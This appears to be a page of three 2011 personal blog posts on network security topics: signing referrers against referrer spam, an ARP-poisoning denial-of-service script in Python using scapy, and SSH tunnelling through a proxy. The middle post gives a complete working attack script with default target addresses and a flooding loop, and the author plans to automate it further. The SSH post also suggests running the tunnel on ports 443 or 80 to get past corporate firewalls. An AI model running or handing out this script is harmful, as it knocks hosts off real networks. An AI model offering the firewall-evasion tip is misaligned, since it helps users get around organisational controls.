Tuesday, December 13, 2011

Using cryptography as a protection from 'Referrer Spam'

I was recently looking at the analytics of my blog and found that for certain visits, the referrer was pointing to some spam websites. After a bit of testing I figured that the referrer section could be spoofed easily while making an HTTP request for any blog hosted by that provider. After some internet lookups, I learnt that the term for such an attack is 'Referrer Spam'. This could mean that someone with the right tools and wrong intent could modify the HTTP header to do two things:

         a. Spoof the referrer
         b. Blank out the referrer

Both of these are not beneficial for analytics or the referrer. One workaround to mitigate such spoofing can be by using cryptography for enforcing integrity checks to avoid feeding false data to the analytics engine. The idea is to encrypt the concatenation of the virtual path in the URL and the Hash of the data in the referrer section.

The following method can be followed:
Referrer Server:
1. Encrypt URL+Hash of data in 'Referrer' section using referrer's private key

Blog's Web Server:
1. Blog provider checks the referrer's section and checks if domain is known.
2. Reconstruct the virtual path by decrypting using referrer's public key and validate the hash with the data in 'Referrer' section.
3. If step 2 does not fail, display the content to user and log data to the analytics engine.
In the above method, symmetric keys can also be used, however, key renewal on a timely basis might be required.

The advantage of the above technique is that unknown referrers can be marked, separated and their IPs can be flagged if further processing of spam source is required.

Cons:
1. Attackers can cause a Denial of Service attack by overloading the Decryption section with junk data
2. Prior key exchange with 'known' referrers is required
3. All unknown referrers are considered as spammers/malicious unless further processing 'clears' them.

Thursday, December 1, 2011

Simple ARP poison script in python

A quick python script to DoS a host on the network. It uses scapy and you can set default values in the script. The attack relies on ARP poisoning and the ARP entries on arp_dest_ip are flooded with a fake victim_mac. The target's IP address is specified by victim_ip.

Here's the script:

#!/usr/bin/python
#DoS.py
#Default target is 10.0.3.3
import sys
from scapy.all import *

try:
      if(sys.argv[1] == "-h"):
            print("Usage:")
           print("DoS [victim_ip] [arp_dest_ip] [arp_dest_mac] [victim_mac]")
           exit(0)
except IndexError:
      print("Attacking....")

x=ARP()
x.op=2
try:
      x.psrc=sys.argv[1] #SOURCE_IP
except IndexError:
      x.psrc="10.0.3.3"
try:
      x.hwsrc=sys.argv[4] #SOURCE_MAC
except IndexError:
      x.hwsrc="FF:FF:FF:FF:FF:FF" #Put a fake MAC address here
try:
      x.pdst=sys.argv[2] #DEST_IP
      x.hwdst=sys.argv[3] #DEST_MAC
except IndexError:
      x.pdst="10.0.3.1" #Usually contains the IP of the gateway
      x.hwdst="FF:FF:FF:AB:CD:EF" #Should contain the MAC of the IP defined as x.pdst
x.show()

sr(x,inter=0.0000000000000001,retry=-999999999,timeout=0.00000000000001)

Next I would want to automate most of the stuff above where minimum inputs would be required and other kind of logic where the attacker pauses attack if the target quits the network etc.

I am also thinking about how to thwart or raise an alert on such an attack...

P.S. I know scapy has pre-defined functions to conduct ARP attacks...I'm doing it manually just for the kicks...

Saturday, April 9, 2011

Creating an SSH tunnel to a safe(r) network

This post will show how to establish an encrypted tunnel to another computer on a remote network. This is achieved using the port forwarding feature in SSH clients on UNIX and a proxy server running on the remote network(in this case 'polipo'). First, a proxy server is started on the remote network. In this case, polipo is listening on port 9000 for connections. It is set to listen on and accept from only the localhost. This way, even if the proxy server does not implement any kind of authentication, it is secure from requests originating from any other machine than the localhost.

Once the proxy server is up and listening for connections from the localhost, we establish a ssh tunnel with this server with the following configuration :

Local port : 81 (port that the browser uses as the proxy port)
Remote IP : localhost (since we have configured our proxy server to only listen on localhost)
Remote Port : 9000 (since the proxy server listens on port 9000)

this is achieved by running the ssh client using the following arguments :

ssh [user]@[remoteIP] -L 81:localhost:9000 -N

This is a stripped down method of using the tunnel. Compression can be used using the -C option or it can also be made to run in the background using the -f option. The -N option ensures that no remote commands are executed and only port forwarding is used.

When the above command is run, it will ask the user for login credentials of the remote server. Once it is successfully authenticated, all requests directed towards the localhost on port 81 will be forwarded using an encrypted tunnel, to the remote server on port 9000.

To test the above setup, modify the proxy settings of your browser to direct all requests to "localhost" on port 81(or any other forwarded port) for all protocols. You can try to load any website in the web browser now. If everything is working as expected, you should be able to surf the internet smoothly. To confirm if your traffic is routed through the remote server, you can compare the IP address using services using 'whatismyip.com" or something similar. This will only work if the remote server has a different public IP than the local machine.

The above setup is especially useful when:

1. Accessing financial or private information while on the move and using public or untrusted internet connections.
2. Accessing blocked content from behind a corporate network...i do not recommend this ;)

In both the above cases, you might have limited access to the remote server because of port blocking etc in effect so you i would be a good idea to ensure that the remote server is listening for SSH connections on a "safe" port (e.g. 443 or even 80) which will definitely be allowed through the firewall (this is what I do too..however i feel this technique will not work if all your web traffic is routed through a proxy server....port selection is another discussion in itself)


This technique can be used for many other things like routing only specific ports through a remote server e.g. skype calls, google talk, etc.

This content is strictly for educational purposes. Please confirm with your system administrators/supervisors if the above techniques are compliant with local policies before using them in any network.